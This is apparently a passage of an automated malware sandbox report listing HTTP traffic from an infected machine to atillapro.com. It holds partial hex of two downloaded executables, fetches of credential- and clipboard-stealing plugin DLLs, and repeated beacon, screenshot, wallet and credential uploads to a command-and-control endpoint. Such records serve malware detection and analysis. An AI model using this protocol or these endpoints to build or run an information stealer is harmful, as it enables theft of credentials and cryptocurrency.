Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 09 Apr 2024 12:54:04 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Tue, 09 Apr 2024 00:43:24 GMTETag: "133000-6159f35a817ba"Accept-Ranges: bytesContent-Length: 1257472Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 31 f3 4d 23 75 92 23 70 75 92 23 70 75 92 23 70 2e fa 27 71 67 92 23 70 2e fa 20 71 7e 92 23 70 2e fa 26 71 c5 92 23 70 a0 ff 26 71 33 92 23 70 a0 ff 27 71 7a 92 23 70 a0 ff 20 71 7c 92 23 70 2e fa 22 71 78 92 23 70 75 92 22 70 b4 92 23 70 ee fc 2a 71 71 92 23 70 ee fc 23 71 74 92 23 70 ee fc dc 70 74 92 23 70 ee fc 21 71 74 92 23 70 52 69 63 68 75 92 23 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 07 00 48 e1 4f 65 00 00 00 00 00 00 00 00 f0 00 22 20 0b 02 0e 18 00 5c 0f 00 00 1c 04 00 00 00 00 00 48 b1 0c 00 00 10 00 00 00 00 00 80 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 13 00 00 04 00 00 00 00 00 00 02 00 60 01 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 20 21 12 00 58 00 00 00 78 21 12 00 8c 00 00 00 00 90 13 00 f8 00 00 00 00 d0 12 00 98 ac 00 00 00 00 00 00 00 00 00 00 00 a0 13 00 e0 15 00 00 c0 37 11 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 38 11 00 08 01 00 00 00 00 00 00 00 00 00 00 00 70 0f 00 e8 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f8 5a 0f 00 00 10 00 00 00 5c 0f 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 e2 c5 02 00 00 70 0f 00 00 c6 02 00 00 60 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 4c 8d 00 00 00 40 12 00 00 42 00 00 00 26 12 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 98 ac 00 00 00 d0 12 00 00 ae 00 00 00 68 12 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 5f 52 44 41 54 41 00 00 94 00 00 00 00 80 13 00 00 02 00 00 00 16 13 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 f8 00 00 00 00 90 13 00 00 02 00 00 00 18 13 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 e0 15 00 00 00 a0 13 00 00 16 00 00 00 1a 13 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 09 Apr 2024 12:54:06 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Tue, 09 Apr 2024 00:43:15 GMTETag: "19600-6159f351c52d1"Accept-Ranges: bytesContent-Length: 103936Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 27 f6 04 b3 63 97 6a e0 63 97 6a e0 63 97 6a e0 38 ff 69 e1 69 97 6a e0 38 ff 6f e1 eb 97 6a e0 38 ff 6e e1 71 97 6a e0 b6 fa 6e e1 6c 97 6a e0 b6 fa 69 e1 72 97 6a e0 b6 fa 6f e1 42 97 6a e0 38 ff 6b e1 64 97 6a e0 63 97 6b e0 02 97 6a e0 f8 f9 63 e1 60 97 6a e0 f8 f9 6a e1 62 97 6a e0 f8 f9 95 e0 62 97 6a e0 f8 f9 68 e1 62 97 6a e0 52 69 63 68 63 97 6a e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 4a e1 4f 65 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0e 18 00 0e 01 00 00 90 00 00 00 00 00 00 d0 66 00 00 00 10 00 00 00 20 01 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 01 00 00 04 00 00 00 00 00 00 02 00 40 01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 b0 79 01 00 9c 00 00 00 4c 7a 01 00 50 00 00 00 00 b0 01 00 f8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 01 00 dc 12 00 00 c0 6e 01 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 6e 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 48 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 06 0c 01 00 00 10 00 00 00 0e 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 b0 61 00 00 00 20 01 00 00 62 00 00 00 12 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 04 17 00 00 00 90 01 00 00 0c 00 00 00 74 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f8 00 00 00 00 b0 01 00 00 02 00 00 00 80 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 dc 12 00 00 00 c0 01 00 00 14 00 00 00 82 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /vsdjcn3khS/Plugins/cred64.dll HTTP/1.1Host: atillapro.com
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----OTc5NzE=Host: atillapro.comContent-Length: 98123Cache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic HTTP traffic detected: GET /vsdjcn3khS/Plugins/clip64.dll HTTP/1.1Host: atillapro.com
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----MTA0MDMzHost: atillapro.comContent-Length: 104185Cache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 5Cache-Control: no-cacheData Raw: 77 6c 74 3d 31 Data Ascii: wlt=1
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 21Cache-Control: no-cacheData Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 63 72 65 64 3d Data Ascii: id=246122658369&cred=
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----OTc5NzE=Host: atillapro.comContent-Length: 98123Cache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php?wal=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----MTc0MDg=Host: atillapro.comContent-Length: 17568Cache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----OTc5NzE=Host: atillapro.comContent-Length: 98123Cache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----OTc5NzE=Host: atillapro.comContent-Length: 98123Cache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----OTc5NzE=Host: atillapro.comContent-Length: 98123Cache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
